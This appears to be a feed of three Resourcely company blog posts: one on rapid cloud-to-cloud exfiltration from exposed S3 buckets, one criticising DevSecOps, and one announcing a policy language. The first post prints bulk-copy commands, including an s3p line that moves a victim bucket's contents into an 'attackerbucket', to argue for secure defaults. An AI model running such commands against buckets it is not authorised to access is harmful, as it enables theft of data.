DEV Community: Christopher Reuter

Gone in 120 seconds

Christopher Reuter — Tue, 02 Jul 2024 14:25:44 +0000

This article was originally published on the Resourcely blog, and is guest-written by Haoxi Tan.

There's been a significant increase in the number of SaaS and cloud based data breaches, from API abuse, data theft from exposed cloud assets, to straight up "login and exfil" using stolen credentials (such as in the case of the Snowflake hacking spree), with cloud based data breaches show no signs of slowing down.

Cloud providers like AWS, GCP, and Azure are called "Public Cloud" for a reason - anyone can sign up and use them, including attackers. It takes minutes for an attacker to open a new account and get access to virtually unlimited data storage and compute, often hosted in the same high-speed data centers as their victim's assets.

Cloud-to-cloud exfiltration

Let's take a classic example of bad actors stealing data: copying files from a publicly available AWS S3 bucket. If an attacker is downloading files from the S3 bucket to their local machine, the speed would depend on how fast their internet is, how many hops they are using for VPN, and so on. However, even with a very slow network speed and the default AWS API client, they can easily download up to 20 files a second to their local machine by running a simple command:‍

aws s3 cp s3://bucketname . --recursive

This command was run behind a VPN on a home network connection (with average 10MB/s of internet speed) for about 200 seconds. The default aws cli isn't very fast, and was only able to utilize a small part of the bandwidth and download at around 140 KB/s), and yet it was able to download around 4000 files from an open S3 bucket in 200 seconds.

Using an optimized tool called s3p, which massively parallelizes S3 API calls to perform the data exfiltration in the same network environment, achieved much better results: over 800 files per second at top speed:

s3p cp --bucket bucketname --to-folder

Even worse, if an attacker runs s3p on an EC2 instance in the same cloud region as their victim's data to copy the files into their own S3 bucket, the transfer would be processed entirely from inside the cloud provider's data centers, like so:

s3p cp --bucket bucketname --to-bucket attackerbucket

They can copy all the data to their own AWS account at massive speeds, then use other VPS (Virtual Private Server) instances in bulletproof hosting providers to exfiltrate that data outside of AWS where takedown is much more difficult.

Using s3p on a EC2 instance to optimize the number of API calls, cloud-to-cloud transfers could reach up to 8 gigabytes per second. That means for an exposed S3 bucket with 1TB of data, it could all end up in the attacker's AWS account in just over 2 minutes. By the time the incident is detected, the data would have already ended up for sale in a hacking forum.

APT: Advanced Persistent Teenagers

As companies move their assets to the cloud and migrate from on-premise applications to SaaS apps, attackers are constantly innovating. One particular Advanced Persistent Threat (APT) group called Scattered Spider (a.k.a. Octo Tempest) is a group of English-speaking teenagers particularly well versed in exploiting cloud-based applications and services.

The group had focused on SIM swapping attacks and ransomware in the past to gain access to large companies, but recently pivoted towards data theft attacks in cloud and SaaS systems for extortion purposes without deploying ransomware. Octo Tempest was named one of the most dangerous financial hacking groups by Microsoft, and it's gone cloud native.

Google's Mandiant said that after the reconnaissance phase, the group performs "exfiltration from SaaS applications through cloud synchronization utilities, such as Airbyte and Fivetran, to move data from cloud-hosted data sources to external attacker-owned cloud storage resources, such as S3 buckets''.

No response fast enough

With the speed of the cloud and attackers moving away from ransomware deployment to extortion via data theft, it's virtually impossible to respond fast enough to these incidents. Once an exposed, misconfigured cloud asset has been discovered by attackers, exfiltration can start in a matter of seconds.

Unlike ransomware, which moves across different systems with suspicious hands-on-keyboard activity that can be detected by Endpoint Detection and Response, data exfiltration activity in the cloud looks much like normal data access, and once the data is lost it cannot be recovered by incident response.

CloudTrail is the logging service for AWS, central to all other tooling that analyzes logs for security events. The CloudTrail FAQ page notes that an API call event is usually delivered from CloudTrail within 5 minutes (300 seconds) of the API call. Given that the top speed of data exfiltration above is 8GB/s, that gives an attacker the ability to exfiltrate around 2TB of data before the event log is even delivered to your security tooling - and by that point your data is long gone.

Secure configuration is the only prevention

Given there is not enough time to react to a misconfigured cloud asset being breached, proactively securing configuration is the only way to protect against the risk of potential cloud data breaches. To do that, security teams must shift from a reactive, issue-centric view of the world to a proactive, preventative strategy, powered by secure, sensible defaults for configuring cloud resources.

Resourcely enables your security, infrastructure and developer teams to create proactive, simple, continuously enforced guardrails to safeguard your cloud resources. Get started with Resourcely to make your organization secure-by-default. Massive shoutout to Jason Craig and Will Bengtson, who had the initial idea for this post.

Death of DevSecOps, Part 2

Christopher Reuter — Wed, 05 Jun 2024 15:40:13 +0000

Written by Travis McPeak, Resourcely CEO

In part 1 of this series, I covered the history of security in the early days of the cloud revolution. Circa 2014, DevOps practices started to be adopted by security teams, resulting in the era of DevSecOps. We’ll cover this concept, the dreams of so many, and the reality that ensued.

Security is a laggard

One pattern that I have observed about security teams is they are slow to change. Security was not a forethought in the pre-Internet days, because it was never really a problem. These teams were only created after internet adoption started becoming more widespread, and they integrated into the waterfall processes of the early days - because that is how development teams worked with infrastructure teams.

After cloud infrastructure became available, DevOps as a practice started to spread like wildfire as we covered in part 1. Why did it take security teams 10 years to fully adopt agile practices and integrate security into DevOps?

Traditional security focused on building a strong perimeter for a static environment. While the rapid iteration and change of DevOps was a boon to development teams, it was naturally uncomfortable for security teams.
New tools and processes meant new attack vectors: something security teams are naturally wary of
Security teams were not incentivized to move quickly, given they were a standalone, siloed organization
They started first by trying to apply legacy processes such as waterfall-style review and approval, to an agile methodology - and this failed

From DevOps to DevSecOps: the dream

By ~2015, it had become apparent that security had lost their gate. As DevOps became the de facto standard, established security teams started losing political capital as they impacted development lifecycles by resisting change. As challenger companies saw success by shipping quickly and cheaply, it became obvious that established security waterfall style could not continue. VC money poured into challenger tech companies that applied the same concepts to security that they were applying to development: shifting decision-making and implementation onto the engineer.

DevSecOps appears to have been coined around 2014, usually attributed to Shannon Lietz of Intuit. The promise of DevSecOps was to further speed development lifecycles without sacrificing security, by embedding security choices into DevOps (hence DevSecOps). Security and software leaders thought they could:

Save money on security teams by turning them into guideline providers
Get security for free from developer teams, who would make practical choices to enforce guidelines
Proactively support developers with automation

However, the dream of DevSecOps ignores some realities that make it a failed practice.

DevSecOps: The reality of today

As DevSecOps was adopted throughout the late ‘10s and early ‘20s, it became clear that the benefits did not materialize as promised. Don’t get me wrong, there have been some improvements:

Some integration into change management: CI process that can enforce security reviews before deployment happens
Multi-environment support: Build pipelines can progress the same build through environments

This marginal progress isn’t enough. There are too many vulnerabilities, too many issues, and not enough time for the manual world of security that we’ve built for ourselves. It turns out that pushing security into DevOps processes sucks for all of those involved. Security teams are overwhelmed, spending all their time measuring faults and making lists of vulnerabilities. Devs are spending unnecessary cycles on security config, when they want to do actual development.

We’ve been left with the worst of both worlds with DevSecOps of today. Why is that?

Devs aren’t security or infra experts

One of the primary assumptions of DevSecOps was that developers would be able to make security and infrastructure-related decisions that were correct. Turns out that in practice, this is not the case. Why? Developers aren’t security or infrastructure experts, and they don’t have the time to become experts. Instead of addressing the fundamental problem, we try to up-skill our developers on security and force training hell onto everybody involved.

Consider a scenario where a developer wants to deploy using an Azure VM and write from that VM to blob storage, and a security team stipulates that it should only be deployed within a company’s VPC. Only an experienced Azure infrastructure expert would be able to configure this in a time-efficient way: this requires 5+ different resources, and if you’re using something like Terraform it requires even more expertise!

Automation has failed us

Another key expectation by early DevSecOps experts was that automation would make up for developer time. Platform teams started to emerge in the late ‘10s and early ‘20s, providing tools for developers to move faster. To date, security automation is primarily a reactive function: we still expect configuration decisions to be made by developers, and we serve them a list of issues to fix after the fact.

Worst of both worlds

DevSecOps has evolved into the worst of both worlds. With developers that aren’t experts in security or infrastructure, and a lack of automation, we now have:

Rampant misconfiguration
Frequent incidents and outages
Constant triage of issues
Reactive posture management, resulting in huge backlogs of security issues
Overwhelmed developers who don’t want to engage with security
A lack of clear ownership means when there’s a problem, it is unclear who needs to act

This means the Sec in DevSecOps hasn’t kept up its end of the bargain. We’ve only marginally improved (and that’s debatable), and we’re only incrementally more secure.

The answer? Secure-by-default

In part 3, we will cover the future: secure-by-default. New tools and technologies mean that we can take the burden of security and infrastructure configuration off developers’ plates, allowing software teams to ship quickly and companies to preserve security and reliability.

Really: Infra policy language that doesn't suck

Christopher Reuter — Thu, 16 May 2024 20:19:00 +0000

Announcing Really

When we started building Resourcely, the global configuration engine for cloud infrastructure, we slowly realized that the status quo of policy-as-code was broken. Writing our first Resourcely guardrails in Rego took hours to create and even more time to maintain. Writing new policies was extremely tedious and time-intensive, especially given the fact that we wanted to make them flexible. To help achieve our mission of making infrastructure more secure, it became evident that a new policy language would be needed that allowed policy to be written and maintained without headaches.

The Resourcely team has spent the last 6 months working on developing that new policy language, and today we are introducing Really: a policy language and enforcement engine that is built to be written and read by humans - not machines. With the introduction of Really, policy can be created in minutes compared to hours, with a human-readable syntax that looks remarkably like SQL. The readability of our structured policy language means that writing, deciphering, and adjusting policy isn’t a nightmare, and your policy team can take vacation without worrying about their pager going off.

Read more about why we built Really here.